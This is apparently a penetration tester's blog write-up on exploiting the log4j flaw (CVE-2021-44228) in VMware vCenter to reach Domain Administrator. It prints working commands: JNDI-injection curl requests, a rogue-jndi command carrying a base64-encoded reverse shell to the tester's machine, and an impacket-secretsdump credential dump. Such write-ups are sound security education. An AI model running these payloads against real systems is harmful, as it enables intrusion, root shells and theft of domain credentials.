Leveraging Log4j Exploit to Domain Administrator

We recently performed another internal network assessment with the goal to gain Domain Administrator access on the target network. We had unauthenticated access to the network, i.e. unauthorized user or an internal attacker onto the user LAN. We kicked off the assessment with our initial foothold and reconnaissance activities and identified a few instances of VMWare vCenter in the network. Thinking log4j exploit 🤔

The recent vulnerability, CVE-2021-44228 – Apache’s log4j, an open-source logging library commonly used by apps and services across the internet. The vulnerability allows an attacker to execute commands into the system remotely, steal passwords and logins, extract data, and infect or compromise the full network.

Here’s the latest CERT NZ advisory if you want to read more about the vulnerability, impact and how to prevent and remediate.

‍

The installed version is affected by log4j vulnerability as per the VMware blog. We started playing around with the vulnerability by inserting the payloads in multiple headers fields like User-Agent, X-API-key, Content-Type, X-Forwarded-For, etc. Alternatively, we had our netcat listener listening on port 4444.

After a few attempts, our log4j payload worked in the X-Forwarded-For header, and we successfully got a connect back on our netcat listener. Yaaay, it’s an RCE 😁

‍

The payload and command that worked for us is as below:

curl -k -X GET -H $'X-Forwarded-For: ${jndi:ldap://10.1.XX.XX:4444}' https://10.1.XX.XX/websso/SAML2/SLO/vsphere.local?SAMLRequest=

Our next step is to run an attacker-controlled JNDI server and execute the payload on the server. We came across a super cool tool that would work in our scenario - https://github.com/veracode-research/rogue-jndi. We compiled the rogue-jndi server and ran the below command to get the reverse shell on the target.

java -jar target/RogueJndi-1.1.jar -c "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLlhYLlhYLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -n 10.1.XX.XXX

The base64 encoding in the above command is a bash one-liner reverse shell to our attacker-controlled machine.

‍

We generated the payload using the rogue-jndi server and used it to gain root access to the affected server.

curl -k -X GET -H $'X-Forwarded-For: ${jndi:ldap://10.1.XX.XX:1389/o=tomcat}' https://10.1.XX.XX/websso/SAML2/SLO/vsphere.local?SAMLRequest=

The above command gave us the reverse connection, and we were the root on the VMware vCenter server. At this point, we can execute any command on the system; wait it's a Linux box.

‍

We’ve got a root user on the Linux box - What next?

Since most of the publicly available exploits are released for the Windows environment, and we had root access on the Linux box, there are a very few techniques we could use to gain DA. We started enumerating the system for sensitive information and came across a Kerberos ticket present in the /tmp directory. We discovered all instances of the vCenter server in the network, compromised each of them, and all had a Kerberos ticket in the /tmp directory.

‍

Next, we copied the tickets to our testing machine and identified that the Kerberos ticket belonged to the privileged service account. Boom, we’ve got the winning lotto tickets here 😁

‍

From here, we used the traditional technique to perform the pass-the-ticket (PTT) attack using the Impacket framework and dumped the ntds.dit file. The command executed successfully since the service account was a privileged account.

impacket-secretsdump -k -no-pass -just-dc <target FQDN>

‍

On further enumeration, we identified that the service account belonged to the Domain Admins group, and we are the Domain Admins. Another one ✌️

‍

‍